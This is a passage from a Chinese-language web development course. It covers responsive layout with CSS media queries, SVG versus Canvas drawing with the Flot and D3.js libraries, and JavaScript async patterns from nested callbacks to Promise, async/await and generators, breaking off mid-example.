点击左上角三横线的菜单图标，你将能看到利用 JavaScript 做出的弹出层的效果：

现在，我们点击 Chrome 地址栏的锁图标，点击 Site Settings，在设置中关闭对网站的 JavaScript 支持，刷新页面，显示还差不多。但是如果点击左上角的菜单图标，你就会发现，由于没有了 JavaScript，无法使用弹出层效果，它变成了一个链接，跳转到了商品分类：

你看，虽然没有了 JavaScript，遵循这种设计理念，在损失一部分用户体验的情况下 ，你可以继续使用网站，并且可以继续购物，其中的核心功能并没有丢失。

此外，还有一种可以拿来类比的设计理念，叫做回归增强，Regressive Enhancement。它要求为系统的特性设定基线，并应用到较老的设备和浏览器中。于是在设计网页特性时，我们可以按照高级设备的能力来进行，但是在实际开发的实施过程中，对于较低级的设备，提供一些其它的替代方法，让它们也模拟支持这些新特性。

比方说，HTML 5 的一些特性在偏老的 IE 浏览器中不支持，那么就可以使用 JavaScript 等替代方案实现出相似的效果。我们提到过的类库 jQuery 就遵循着回归增强的设计理念，在一定程度上屏蔽了不同浏览器的差异性。

举个实际例子，input 标签如果在偏老的浏览器中不支持 placeholder 属性，我们可以利用灰度字体的样式在 input 标签中显示实际内容来模拟这个功能。当用户将输入焦点移到 input 标签中，再将其从 input 中清空，以便用户能输入实际内容。

无论是渐进式增强、优雅降级，还是回归增强，都是为了在一定程度上照顾更多的不同能力的设备和浏览器，给用户带来“尽量好”的体验。但是我们在应用这样的设计理念时，需要把握这个度，毕竟，它不是无代价的，而是会增加前端设计开发的复杂性。

3. 响应式布局

响应式网页设计，即 RWD，Responsive Web Design，也有称之为自适应性网页设计，Adaptive Web Design，是一种网页设计方法，目的是使得同一份网页，在不同的设备上有合适的展现。几乎页面上所有的元素都可以遵循响应式布局，在不同的设备上产生不同的呈现，包括字体和图像等，但是我们讨论得最多的，却是布局。

我记得我刚参加工作的那几年，我们对于同一个页面在不同设备上的展示，考虑的最多的问题还是终端适配，并且这种适配还是基于协议的。例如，服务端是返回 Web 页面，WAP 1.0 页面（WML 语言描述），还是 WAP 2.0 页面（XHTML 语言描述）？那时候我们还很难去谈论用户体验有多么“合适”，对于这些低端的移动设备，我们充其量只能关心功能的实现是否能保证。

这部分，我们改变一下学习策略，来动动手，实现下简单的响应式布局页面。假如说我们需要实现一个具有 header、footer 的页面，并且他们需要填满宽度。而中间的主页面部分采用三列布局，左边列定宽，右边列也定宽，中间列宽度自由设置，但是要保证这三列排列起来也填满浏览器的宽度。

在往下阅读之前，你能否先想想，这该如何实现？

现在，我们在任意的工作文件夹下建立一个 responsive layout.html 文件，填写如下内容：

<!DOCTYPE html>

<html>

<head>

  <link href="style.css" type="text/css" rel="stylesheet">

</head>

<body>

  <header>header</header>

  <aside class="left">aside</aside>

  <aside class="right">aside</aside>

  <main class="middle">main</main>

  <footer>footer</footer>

</body>

</html>

你看，这个文件结构是很简单的，但是具备了我们所需要的要素，包括 header、中间三列以及 footer。这个页面将引入 style.css，因此，我们在同一目录下，建立 style.css：

* {

  height: 100px;

  margin: 10px;

}

header, footer {

  background-color: YELLOW;

}

main {

  background-color: BLUE;

}

aside {

  background-color: GREEN;

}

.left {

  width: 200px;

  float: left;

}

.middle {

  margin: 20px 230px 20px 230px;

}

.right {

  width: 200px;

  float: right;

}

我来简单解读一下这个 CSS 文件。为了演示效果，所有的 DOM 对象都具备 100px 的高度，左边栏向左侧浮动排列，右边栏向右侧浮动排列，中间一列使用 margin 的方式给左右边栏留足位置。在排列这三列时，DOM 的顺序是左边栏 - 右边栏 - 中间栏，原因是，左右边栏是浮动样式，需要给他们排好以后，中间栏位无浮动，自动填满所有剩余空间。

看看效果吧，你可以拖动浏览器的边界，调整窗口的宽度，来模拟不同宽度的浏览器窗口下的效果。在较宽的浏览器下，它是这样的：

而在较窄的浏览器下，它是这样的：

注意这里的图片有缩放，但是每个矩形的高度实际上都是 100px。也就是说，中间蓝色的区域可以根据实际的宽度需要进行自适应的横向缩放，但是布局始终保持填满浏览器的宽度，也就是说，绿色的部分，始终是固定不变的。

但是，这样的显示有一个问题，在屏幕宽度较小时，比如手机屏幕，中间的蓝色区域会被挤得看不见。因此，我们希望在浏览器宽度小到一定程度的时候，显示成多行格式，而不进行左中右栏位的划分了，即从上到下包含 5 行：header、left aside、main、right aside 和 footer。

那么，这又该怎么实现？

其实也不难，我们需要先在 HTML 的头部增加：

<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">

这个 meta 标签指定了视口（View Port）的宽度为设备宽度，避免了任何手机端自动缩放的可能，同时也关闭了用户手动缩放的功能，这样网页会更像一个原生 app。

接着，需要把现有的 css 中 .left, .right, .middle 三个样式放到屏幕宽度大于 640px 的条件下启用，而在宽度小于 640px 的条件下，我们将启用另外三组样式，这三组是将现有的三列以行的方式来展示：

@media screen and (min-width: 640px) {

  .left {

    width: 200px;

    float: left;

  }

  .middle {

    margin: 20px 230px 20px 230px;

  }

  .right {

    width: 200px;

    float: right;

  }

}

@media screen and (max-width: 640px) {

  .middle {

    margin: auto;

  }

  .left, .right {

    width: auto;

    float: none;

  }

}

完工，我们一起看看效果。调整浏览器的右侧边界，逐渐缩小宽度，直到其低于 640px，你将看到如下效果：

总结思考

今天我们学习了一些网页交互设计的理念，知道了怎样通过渐进式增强来照顾到尽可能多的设备和浏览器，也通过例子实际动手了解了怎样实现网页的响应式布局，希望你有所收获。

现在，我来提两个问题吧：

在你的实际工作中，是否有考虑过不同能力的设备和浏览器的兼容适配问题，你又是怎样解决这样的问题呢？

给你这样几个 HTML 标签，你能否说出哪些是有语义的，哪些是无语义的呢？div、section、span、nav、summary、b。

好，今天就到这里，感谢你的阅读和思考，期待你的打卡！

扩展阅读

【基础】对于 CSS 不熟悉的程序员朋友，可以通过 MDN 上的 CSS 教程进行系统地学习。

文中提到了 SPA 环境下，对于浏览器的前进、后退功能，需要一些特别的技巧才能实现，其中一个技巧就是使用内嵌 iFrame，这个机制的原理在 Back Button Behavior on a Page With an iframe 这篇文章中有介绍（虽然这个机制本身当时给作者带来的是一个问题而不是一个解决方法），文中还附带了一个可尝试的小例子，另外的一个技巧我们将在第五章学到。

文中介绍了渐进增强和优雅降级的概念，在 Progressive Enhancement vs Graceful Degradation 这篇文章中，我们可以看到对它的进一步形象的阐释；而 CSS “渐进增强”在 web 制作中常见应用举例一文则举了几个 CSS 具体应用渐进增强的例子。

对于 HTML 语义的介绍，Semantic HTML 是一个非常好的用于介绍基础知识的胶片。

18 | 千言万语不及一幅画：谈谈数据可视化

你好，我是四火。

随着大数据和数据分析趋势的流行，数据可视化变得越来越重要，而许多全栈的学习材料并没有跟上节奏，去介绍这方面的技术。这一讲中，我们将介绍数据可视化的基本概念和原理，以及几个常用的 JavaScript 用来实现数据可视化的库。

数据可视化，即 Data Visualization，是指使用具备视觉表现力的图形和表格等工具，向用户传达数据信息的方式。在我工作过的每个大型团队中，数据可视化技术都有着其不可替代的用武之地。

在大数据分析团队，数据库可视化技术被用来分析数据变化，验证机器学习算法的效果；在高可用服务团队，数据可视化技术被用来了解和监视服务的运行状况，了解系统的压力和负载；在分布式平台团队，数据可视化技术用来俯瞰一个个异步任务的执行情况，以获知任务执行的健康状况……事实上，只要有工程的地方，数据可视化就扮演着举足轻重的角色。

Web 绘图标准

在前端绘图，是数据可视化里面很常见的一个需求，我们常见的有位图和矢量图这样两种。

通常我们谈论的图片，绝大多数都是位图。位图又叫栅格图像，无论位图采用何种压缩算法，它本质就是点阵，它对于图像本身更具备普适性，无论图像的形状如何，都可以很容易分解为一个二维的点阵，更大的图，或者更高的分辨率，只是需要更密集的点阵而已。

你可能已经听说过矢量图。矢量图是使用点、线段或者多边形等基于数学方程的几何形状来表示的图像。将一个复杂图像使用矢量的方式来表达，显然要比位图困难得多，但是矢量图可以无损放大，因为它的本质是一组基于数学方程的几何形状的集合，因此无论放大多少倍，形状都不会发生失真或扭曲。并且图像越大，就越能比相应的位图节约空间，因为矢量图的大小和实际图像大小无关。倘若再采用独立的压缩算法进行压缩，矢量图可以基于文本压缩，从而获得很大的压缩比。

在早些年的项目中，在后端使用 Python 等语言预生成绘制图像的场景还比较多，但是如今已经少见一些了，大多数的图形生成都被搬到了前端。而这种情况也成为了前后端分离，以及数据和展示分离的典型场景，后端同步或异步生成不同维度的数据，浏览器则通过统一的 API 根据用户需求获取相应的数据；前端根据这些取得的数据在浏览器中现场绘制图像。关于服务端和客户端聚合的知识，如有遗忘，请回看 [第 09 讲]。

总的来看，前端绘图，和后端比起来，有这样几个显著的优势。

前端生成的图形图像具有天然的交互性。前端生成的图像不仅仅意味着一张“图”，还意味着它能够和 HTML 这样的呈现结构紧密地结合起来，而图像上的组成部分都可以响应用户的行为。

图像的生成可能需要显著的资源消耗，放到前端可以减轻服务器压力。这里的消耗既包括 CPU、内存等物理资源消耗，还有用户的等待时间消耗，在前端可以更好地给用户提供渲染过程的反馈。

图形图像的设计和规划本就属于呈现层，系统架构上把它放到前端更容易实现前后端分离，组织结构上能让擅长视觉处理的前端工程师和 UX 设计师更自然地工作。有了数据，就可以对前端的图像生成逻辑进行设计和测试，工程师和设计师只需要专注于前端的通用技能就可以较为独立地完成工作。

我们较常听到的 Web 绘图标准包括 VML、SVG 和 Canvas，其中 VML 是微软最初参与制定的标准，一直以来只有 IE 等少数浏览器支持，从 2012 年的 IE 10 开始它逐渐被废弃了；但是剩余两个，SVG 和 Canvas 有一定互补性，且如今都非常流行，下面我来介绍一下。

1. SVG

SVG 即 Scalable Vector Graphics，可缩放矢量图形。它是基于可扩展标记语言（XML），用于描述二维矢量图形的一种图形格式。在它之前，微软曾经向 W3C 交过 VML 的提议，但被拒绝了。之后才有了 SVG，由 W3C 制定，是一个开放标准，当时在 W3C 自己看来，SVG 的竞争对手应该主要是 Flash。

SVG 格式和前面提到的 VML 一样，支持脚本，容易被搜索引擎索引。SVG 可以嵌入外部对象，比如文字、PNG、JPG，也可以嵌入外部的 SVG。它在移动设备上存在两个子版本，分别叫做 SVG Basic 和 SVG Tiny。SVG 很快获得了各种浏览器的支持，一开始 IE 还坚守着自家的 VML 不放，但后来也慢慢被迫转移到了 SVG 的阵营，从 IE 9 才开始对 SVG 部分支持。

SVG 支持三种格式的图形：矢量图形、栅格图像和文本。所以你看，SVG 并不只是一个矢量图的简单表示规范，而是尝试把矢量图、位图和文字统一起来的标准。我们来亲自写一个 SVG 的小例子，在你的工作文件夹中建立 example.svg，并用文本编辑器打开，录入如下文字：

<?xml version="1.0" encoding="UTF-8"?>

<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="300" height="300">

  <rect x="60" y="60" width="200" height="200" fill="red" stroke="black" stroke-width="2px" />

</svg>

我来对上述 XML 做个简单的解释：第一行了指明 XML 的版本和编码；第二行是一个 svg 的根节点，指明了协议和版本号，图像画布的大小（500 x 500），其中只包含一个矩形（rect），这个矩形的起始位置是（x, y），宽和高都为 200，填充红色，并使用 2px 宽的黑色线条来描边。

接着使用 Chrome 来打开这个文件，你将看到这样的效果：

接着我们另建立一个 HTML 文件：svg.html，加上 html 标签，并拷贝 XML 中的 svg 标签到这个 HTML 文件中：

<!DOCTYPE html>

<html>

<body>

  <svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="300" height="300">

    <rect x="60" y="60" width="200" height="200" fill="red" stroke="black" stroke-width="2px" />

  </svg>

</body>

</html>

用 Chrome 打开看看效果——嗯，再次展示了这个红色方块。反复点击 Chrome 的 View 菜单下的 Zoom In 选项，将图像放到最大，观察矩形的边角，没有任何模糊和失真，这证明了它确实是矢量图。

最后打开 Chrome 的开发者工具，在控制台键入：

$("svg>rect").setAttribute("fill", "green");

你会看到这个矢量图从红色变成了绿色。这充分说明，svg 就是普普通通的 HTML 标签，它可以响应 JavaScript 的控制。自此，图像对于天天和 HTML 打交道的程序员来说，再也不是一个“二进制黑盒”了。

2. Canvas

Canvas 标签是 HTML 5 的标签之一，标签可以定义一片区域，允许 JavaScript 动态渲染图像。开始由苹果推出，自家的 Safari 率先支持，IE 从 IE 9 开始支持。

Canvas 和 SVG 有相当程度的互补之处，我们来实现一个 Canvas 的例子，体会下这一点。请在任何工作文件夹中，建立 canvas.html，并写入：

<!DOCTYPE html>

<html>

<body>

  <canvas width="300" height="300"></canvas>

  <script type="text/javascript">

    var canvas = document.getElementsByTagName('canvas')[0];

    var ctx = canvas.getContext('2d');

    ctx.rect(60,60,200,200);

    ctx.fillStyle = 'RED';

    ctx.fill();

    ctx.strokeStyle = 'BLACK';

    ctx.stroke();

  </script>

</body>

</html>

代码很容易理解，获取到 canvas 节点以后，获取一个 2D 上下文，接着设置好矩形的位置和大小，分别进行填充和描线的操作。接着使用 Chrome 打开，你会发现效果和 SVG 的例子一样，展示了这个具备黑色边框的红色方块。

看起来和 SVG 差不多对不对？我们也来执行相同的操作，反复点击 Chrome 的 View 菜单下的 Zoom In 选项，将图像放到最大：

你看，矩形的边角不再清晰，这说明这种方式绘制的不是矢量图，而是位图。再使用 Chrome 的开发者工具，点击左上角的 DOM 选择箭头，选中这个矩形，我们发现，和 SVG 不同的是，这个 canvas 节点内部并没有任何 DOM 结构。

虽然这是一个小小的例子，但足以看出 Canvas 和 SVG 之间的明显差异和互补性了。

总的来说，从图片描述过程上来说，SVG 是 HTML 标签原生支持的，因此就可以使用这种声明式的语言来描述图片，它更加直观、形象、具体，每一个图形组成的 DOM 都可以很方便地绑定和用户交互的事件。这种在渲染技术上通过提供一套完整的图像绘制模型来实现的方式叫做 Retained Mode。

Canvas 则是藉由 JavaScript 的命令式的语言对既定 API 的调用，来完成图像的绘制，canvas 标签的内部，并没有任何 DOM 结构，这让它无法使用传统的 DOM 对象绑定的方式来和图像内部的元素进行互动，但它更直接、可编程性强，在浏览器内存中不需要为了图形维护一棵巨大的 DOM 树，这也让它在遇到大量的密集对象时，拥有更高的渲染性能。这种在渲染技术上通过直接调用图形对象的绘制命令接口来实现的方式叫做 Immediate Mode。

讲到这里，不知道你是否联想到了我们之前反复提到过的，声明式编程和命令式编程在全栈技术中的应用，如果你忘记了，可以回看 [第 07 讲] 中的介绍。所以，我想再次说，技术都是相通的。

（上图来自 SVG vs canvas: how to choose，比较了 SVG 和 Canvas 其中的一些优劣）

我们从这些例子中可以看出来，无论选用哪一种技术，HTML 5 的出现，都给了浏览器底气。以往由于其自身能力的限制，浏览器的很多领土都被播放器控件、Flash 等蚕食了，HTML 5 正助其将领土重新夺回来（你可能已经听说了，Chrome 已经开始用提示条警告：从 2020 年 12 月起 Chrome 将不再支持 Flash）。

使用这种方式，以往浏览器内的这些插件和扩展的“黑盒”全部通过原生的 HTML 标签完成替换支持，少了一个软件“层”，多了一分透明，视频、音频等媒体由浏览器底层直接支持，性能会更加出色，交互性更好。

数据可视化的 JavaScript 库

数据可视化的 JavaScript 库有很多，我想它们可以简单分为两类：绝大多数都比较专精，完成某一类的图表绘制工作，比如 Flot；但是也有一些相对通用而强大，比如 D3.js。

1. Flot

Flot 是一个非常简单的图表绘制的 jQuery 插件，这样类似的库有很多，它们绝大多数包含这样两个特点：

在使用上都包含 DOM 选择、选项设置、数据绑定、行为绑定等几个常见步骤，简单、直接，没有特定的领域语言，也没有复杂的模式套用；

它们往往针对性解决特定的、狭窄领域的问题，比如就是用来绘制二维坐标图，或者就是用来生成二维表格。

我们拿 Flot 举例，来感受一下这两个特点，比如下面这个例子，绘制一条正弦曲线，代码非常得简洁。

首先在 HTML 页面中建立一个 div：

<div id="plot"></div>

接着在 JavaScript 中，写入如下代码：

let data = $.map([...Array(1000).keys()],

                 (x, i) => [[i, Math.sin(x/100)]]);

$.plot("#plot", [{ data }], {

  xaxis: { ticks: [

    0,

    [ 100 * Math.PI, "Pi" ],

    [ 200 * Math.PI, "2Pi" ],

    [ 300 * Math.PI, "3Pi" ]

  ]}

});

按照前面说的常见步骤，我来简单解释一下。

DOM 选择：“#plot”是 jQuery 的选择器，取得了 id 为 plot 的 DOM；

数据绑定：从 0 到 1000 的数中，给每一个数除以 100，再取它的正弦，将结果和数的序号捆绑起来放到入参 data 中；

行为绑定：这里没有显示绑定行为，有一些默认的响应行为由库实现；

选项设置：后面跟着的参数，其中包含 xaxis 用于设置 x 轴的坐标显示。

通过这样简单的代码，就可以得到如下效果：

如果你考察生成的对象，你会发现它是使用 Canvas 来绘制的。

2. D3.js

第二类可视化 JavaScript 库相对较为通用。D3.js 是一个基于数据的操作文档的 JavaScript 库，可以让你绑定任何数据到 DOM，支持 DIV 这类常规 DOM 进行的图案生成，也支持 SVG 这种图案的生成。D3 帮助你屏蔽了浏览器差异，并且通过基于容器和数据匹配状态变更的解耦设计，这种方式对于绘制某些动态变化的、画布元素根据数据按照一定规则变动的图像，代码会非常得清晰简洁。

这种方法就是 “Enter and Exit” 机制，下面我们来着重理解一下它。

这种机制建立在容器节点和数据映射的关系上，即“一个萝卜一个坑”，数据项就是萝卜，容器节点就是坑。在数据变动的过程中，通过每个节点位置和每个数据项的匹配，发生如下三种行为之一：

如果数据项能够找到它所属的节点，发生 update 事件；

如果数据项更多，节点数量不够，对于无法找到节点的数据项，发生 enter 事件；

如果数据项减少，即原有的数据项离开了节点，发生 exit 事件。

（来自 D3: Data-Driven Documents）

下面，我们还是让代码说话，用一个简单的小例子，来展示这个过程。HTML 中有这样一个 DOM，作为画布，准备用 D3.js 在上面作画：

<svg></svg>

定义一个作画方法 render，任何时候我们希望针对改变的数据，重新更新画布，只需要调用下面定义的 render 方法：

let render = (data) => {

  // 选择节点

  var circles = d3

    .select('svg')

    .selectAll('circle');

  // 默认行为，对应于 update

  circles.data(data)

    .attr('r', 20)

    .attr('cx', (d, i) => { return i * 50 + 20; })

    .attr('cy', (d, i) => { return 20; })

    .style('fill', 'BLUE')

  // 新 data 加入，对应于 enter

  circles.data(data)

    .enter()

      .append('circle')

      .attr('r', 20)

      .attr('cx', (d, i) => { return i * 50 + 20; })

      .attr('cy', (d, i) => { return 20; })

      .style('opacity', 0)

      .style('fill', 'RED')

      .transition()

        .duration(1000)

        .style('opacity', 1)

  // 旧 data 离开，对应于 exit

  circles.data(data)

    .exit()

      .transition()

        .duration(1000)

        .style('opacity',0)

        .remove();

};

你看，render 方法包含了这样几步：

首先，选择节点，即“萝卜坑”，在最开始的时候，一个坑也没有，即 svg 节点内没有任何 circle 节点；

第二步，定义了默认的 update 行为，在数据项，即萝卜保持占据萝卜坑的时候，进行的操作，在这里就是绘制蓝色的坑；

第三步，定义 enter 行为，即对于新来的萝卜，无法找到相应萝卜坑的时候，进行的操作，例子中就是建立新的红色的坑；

第四步，定义 exit 行为，当有萝卜要离开萝卜坑的时候，需要进行的操作，例子中就是删掉原有的坑。

其中链式调用中的 transition() 定义了在执行某些过程时，以过渡动画的方式来进行，例子中无论是“挖坑”还是“填坑”，都通过透明度渐变的方法来实现过渡。

最后，我们在第 0 秒的时候种下了 3 个萝卜，由于之前没有萝卜坑，于是发生了三次 enter 行为；第 2 秒的时候我们将萝卜减少到了 2 个，于是发生了一次 exit 行为；在第 4 秒的时候我们将萝卜数量变为 4 个，于是发生两次 enter 行为：

render([1, 2, 3]);

setTimeout(() => { render([1, 2]); }, 2000);

setTimeout(() => { render([1, 2, 3, 4]); }, 4000);

效果如下：

不知道你是否还记得我们在 [第 16 讲] 中介绍过的 Redux，D3.js 的这种机制和 Redux 的状态管理有着相似和相通之处。状态都在统一的地方维护，而状态的改变，都通过事件的发生和响应机制来进行，且都将事件的响应逻辑（回调）交给用户来完成。其实，这是一种很常见的“套路”，我们在后面的学习中，还将见到它的实现。

总结思考

今天，我们学习了 Web 绘图标准的基础知识，比较了 SVG 和 Canvas 这两种具备互补性的技术实现；同时，我们也学习了 Flot 和 D3.js 这两个差异很大，但都具备代表性的可视化 JavaScript 库。

希望你除了这两项同类技术之间孰优孰劣的比较以外，还掌握了不同类型技术之间联系比较的方法。随着学习的进行，对不同类型技术慢慢具备“深入”和“浅出”两个方向的理解，逐渐将充满关联的知识体系网状结构建立起来。

最后，我来提两个问题，供你思考一下吧：

思考一下你经历过的比较大的项目，你是否在项目中使用过数据可视化技术，如果给你一个机会，你觉得该怎样使用呢？

相信你用过 Google 地图或 Baidu 地图吧，那么，你觉得地图应用应该是用 SVG 还是 Canvas 来实现呢，为什么？

扩展阅读

对于 SVG 和 Canvas 技术上的详细类比，我推荐你阅读 SVG vs canvas: how to choose 这篇文章。

学习数据可视化的技术有一个学习的小窍门，就是在掌握最基本的原理之后，可以直接跳到例子中去学习。作为可视化的库，对于其视觉上反馈迅速的特点，我们可以利用起来。比如文中提到的这两个库，Flot 提供了一些实用的例子，而 D3.js 的例子则是非常震撼。

19 | 打开潘多拉盒子：JavaScript异步编程

你好，我是四火。

我们在本章伊始的 [第 14 讲] 中初步学习了 JavaScript 的事件驱动模型，体会到了思维模式的转变，也建立起了异步编程的初步概念。在本章最后一讲，我们将深入异步编程，继续探讨其中的关键技术。

异步编程就像是一个神秘的宝盒，看起来晶莹剔透，可一旦使用不当，就会是带来灾难的潘多拉盒子，状态混乱，难以维护。希望在这一讲之后，你可以了解更多的关于 JavaScript 在异步编程方面的高级特性，从而习惯并写出可靠的异步代码。

1. 用 Promise 优化嵌套回调

假如我们需要写这样一段代码，来模拟一只小狗向前奔跑，它一共跑了 3 次，奔跑的距离分别为 1、2、3，每次奔跑都要花费 1 秒钟时间：

setTimeout(
  () => {
    console.log(1);
    setTimeout(
      () => {
        console.log(2);
        setTimeout(
          () => {
            console.log(3);
          },
          1000
        );
      },
      1000
    );
  },
  1000
);

你看，我们用了 3 次 setTimeout，每次都接受两个参数，第一个参数是一个函数，用以打印当前跑的距离，以及递归调用奔跑逻辑，第二个参数用于模拟奔跑耗时 1000 毫秒。这个问题其实代表了实际编程中一类很常见的 JavaScript 异步编程问题。例如，使用 Ajax 方式异步获取一个请求，在得到返回的结果后，再执行另一个 Ajax 操作。

现在，请你打开 Chrome 开发者工具中的控制台，运行一下：

3693
1
2
3

第一行是 setTimeout 返回的句柄，由于控制台运行的关系，系统会把最后一行执行的返回值打印出来，因此它可以忽略。除此之外，结果恰如预期，每一行的打印都间隔了一秒，模拟了奔跑的效果。

但是，这个代码似乎不太“好看”啊，繁琐而且冗长，易理解性和可维护性显然不过关，代码的状态量在这种情况下很难预测和维护。就如同同步编程世界中常见的“面条代码（Spaghetti Code）”一样，这样“坏味道”的代码在异步编程的世界中其实也很常见，且也有个专有称呼——“金字塔厄运”（Pyramid of Doom，嵌套结构就像金字塔一样）。

到这里，不知你会不会想，能不能把重复的逻辑抽取出来呢？具体说，就是这个 setTimeout 方法相关的代码。于是，我们可以抽取公用逻辑，定义一个 run 方法，接受两个参数，一个是当前跑动距离，第二个是回调方法，用于当前跑完以后，触发下一次跑动的行为：

var run = (steps, callback) => {
  setTimeout(
    () => {
      console.log(steps);
      callback();
    },
    1000
  );
};

run(1, () => {
  run(2, () => {
    run(3, () => {});
  });
});

嗯，代码确实清爽多了。可是，看着这嵌套的三个 run，我觉得这并没有从本质上解决问题，只是代码简短了些，嵌套调用依然存在。

每当我们开始写这样反复嵌套回调的代码时，我们就应该警醒，我们是否在创造一个代码维护上的坑。那能不能使用某一种优雅的方式来解决这个问题呢？

有！它就是 Promise，并且从 ES6 开始，JavaScript 原生支持，不再需要第三方的库或者自己实现的工具类了。

Promise，就如同字面意思“承诺”一样，定义在当前，但行为发生于未来。它的构造方法中接受一个函数（如果你对这种将函数作为参数的方式传入还不习惯，请回看 [第 15 讲] 对函数成为一等公民的介绍），并且这个函数接受 resolve 和 reject 两个参数，前者在未来的执行成功时会被调用，后者在未来的执行失败时会被调用。

var run = steps =>
  () =>
    new Promise((resolve, reject) => {
      setTimeout(
        () => {
          console.log(steps);
          resolve(); // 一秒后的未来执行成功，需要调用
        },
        1000
      );
    });

Promise.resolve()
  .then(run(1))
  .then(run(2))
  .then(run(3));

正如代码所示，这一次我们让 run() 方法返回一个函数，这个函数执行的时候会返回一个 Promise 对象。这样，这个 Promise 对象，并不是在程序一开始就初始化的，而是在未来的某一时刻，前一步操作完成之后才会得到执行，这一点非常关键，并且这是一种通过给原始代码添加函数包装的方式实现了这里的“定义、传递、但不执行”的要求。

这样做就是把实际的执行逻辑使用一个临时函数包装起来再传递出去，以达到延迟对该逻辑求值的目的，这种方式有一个专有名字 Thunk，它是一种在 JavaScript 异步编程的世界中很常见的手段（JavaScript 中有时 Thunk 特指用这种技术来将多参数函数包装成单参数函数，这种情况我们在此不讨论）。换言之，上面代码例子中的第二行，绝不可省略，一些刚开始学写异步编程的程序员朋友，就很容易犯这个错误。

另外，这里我还使用了两个小技巧来简化代码：

一个是 () => { return xxx; } 可以被简化为 () => xxx；

另一个是使用 Promise.resolve() 返回一个已经执行成功的空操作，从而将所有后续执行的 run 方法都可以以统一的形式放到调用链里面去。

现在，使用 run() 方法的代码调用已经格外地简单而清晰了。在 Promise 的帮助下，通过这种方式，用了几个 then 方法，实现了逻辑在前一步成功后的依次执行。于是，嵌套的金字塔厄运消失了，变成了直观的链式调用，这是异步编程中一个非常常见的优化。

如果我们乘胜追击，进一步考虑，上面那个 run() 方法明显不够直观，能不能以某种方式优化调整一下？

能！代码看起来复杂的原因是引入了 setTimeout，而我们使用 setTimeout 只是为了“等一下”，来模拟小狗奔跑的过程。这个“等一下”的行为，实际是有普遍意义的。在 JavaScript 这样的非阻塞代码中，不可能通过代码的方式让代码实际执行的时候真的“等一下”，但是，我们却可以使用异步的方式让代码看起来像是执行了一个“等一下”的操作。我们定义：

var wait = ms =>
  new Promise(resolve => setTimeout(resolve, ms));

有了 wait 的铺垫，我们把原本奔跑的 setTimeout 使用更为直观的 wait 函数来替换，一下子就让 run 的实现清晰了很多：

var run = steps =>
  () => wait(1000).then(() => { console.log(steps); });

你看，这个例子，再加上前面的 then 调用链的例子，你是否看出，利用 Promise，我们似乎神奇地把“异步”代码变成“同步”的了。其实，代码执行并没有真正地变成同步，但是代码却“看起来”像是同步代码，而同步和顺序执行的逻辑对于人的大脑更为友好。

经过这样的重构以后，再次执行刚才的 3 次奔跑调用，我们得到了一样的结果。

Promise.resolve()
  .then(run(1))
  .then(run(2))
  .then(run(3));

嗯，看起来我们已经做到极致了，代码也已经很清楚了，大概没有办法再改写和优化了吧？不！其实我们还有继续操作的办法。也许我应该说，居然还有。

在 ES7 中，async/await 的语法糖被引入。通过它，我们可以进一步优化代码的写法，让异步编程越来越像同步编程，也越来越接近人大脑自然的思维。

async 用于标记当前的函数为异步函数；

await 用于表示它的后面要返回一个 Promise 对象，在这个 Promise 对象得到异步结果以后，再继续往下执行。

考虑一下上面的 run 方法，现在我们可以把它改写成 async/await 的形式：

var run = async steps => {
  await wait(1000);
  console.log(steps);
}

你看，代码看起来就和同步的没有本质区别了，等待 1000 毫秒以后，打印 steps。

接着，如果我们执行下面的代码（如果你不是在 Chrome 的控制台执行，你可以把下面三行代码放到任意一个 async 函数中去执行，效果是一样的）：

await run(1);
await run(2);
await run(3);

我们得到了一样的结果。这段代码看起来也和顺序、同步执行的代码没有区别了，虽然，实际的运行依然是前面你看到的异步调用，这里的效果只是 async/await 语法糖为程序员创造的一个美好的假象。

纵观这个小狗奔跑的问题，我们一步一步把晦涩难懂的嵌套回调代码，优化成了易读、易理解的“假同步”代码。聪明的程序员总在努力地创造各种工具，去改善代码异步调用的表达能力，但是越是深入，就越能发现，最自然的表达，似乎来自于纯粹的同步代码。

2. 用生成器来实现协程

协程，Coroutine，简单说就是一种通用的协作式多任务的子程序，它通过任务执行的挂起与恢复，来实现任务之间的切换。

这里提到的“协作式”，是一种多任务处理的模式，它和“抢占式”相对。如果是协作式，每个任务处理的逻辑必须主动放弃执行权（挂起），将继续执行的资源让出来给别的任务，直到重新获得继续执行的机会（恢复）；而抢占式则完全将任务调度交由第三方，比如操作系统，它可以直接剥夺当前执行任务的资源，分配给其它任务。

我们知道，创建线程的开销比进程小，而协程通常完全是在同一个线程内完成的，连线程切换的代价都免去了，因此它在资源开销方面更有优势。

JavaScript 的协程是通过生成器来实现的，执行的主流程在生成器中可以以 yield 为界，进行协作式的挂起和恢复操作，从而在外部函数和生成器内部逻辑之间跳转，而 JavaScript 引擎会负责管理上下文的切换。

首先我们来认识一下 JavaScript 和迭代有关的两个协议，它们是我们后面学习生成器的基础：

第一个是可迭代协议，它允许定义对象自己的迭代行为，比如哪些属性方法是可以被 for 循环遍历到的；

第二个是迭代器协议，它定义了一种标准的方法来依次产生序列的下一个值（next() 方法），如果序列是有限长的，并且在所有的值都产生后，将有一个默认的返回值。

接着我就可以介绍生成器（Generator）了。在 JavaScript 中，生成器对象是由生成器函数 function* 返回，且符合“可迭代协议”和“迭代器协议”两者。function* 和 yield 关键字通常一起使用，yield 用来在生成器的 next() 方法执行时，标识生成器执行中断的位置，并将 yield 右侧表达式的值返回。见下面这个简单的例子：

function* IdGenerator() {
  let index = 1;
  while (true)
    yield index++;
}

var idGenerator = IdGenerator();

console.log(idGenerator.next());
console.log(idGenerator.next());

这是一个 id 顺序生成的生成器，初始 index 为 1，每次调用 next() 来获取序列的下一个数值，并且 index 会自增 1。从代码中我们可以看到，这是一个无限的序列。

执行上述代码，我们将得到：

{value: 1, done: false}
{value: 2, done: false}

每次返回的对象里面，value 的值就是生成的 id，而 done 的值表示这个序列是否结束。

你看，以往我们说起遍历的时候，脑海里总会第一时间想起某个容器，某个数据集合，但是，有了生成器以后，我们就可以对更为复杂的逻辑进行迭代。

生成器可不是只能往外返回，还能往里传值。具体说，yield 右侧的表达式会返回，但是在调用 next() 方法时，入参会被替代掉 yield 及右侧的表达式而参与代码运算。我们将上面的例子小小地改动一下：

function* IdGenerator() {
  let index = 1, factor = 1;
  while (true) {
    factor = yield index; // 位置①
    index = yield factor * index; // 位置②
  }
}

好，这是生成器的定义，其调用代码如下：

var calculate = (idGenerator) => {
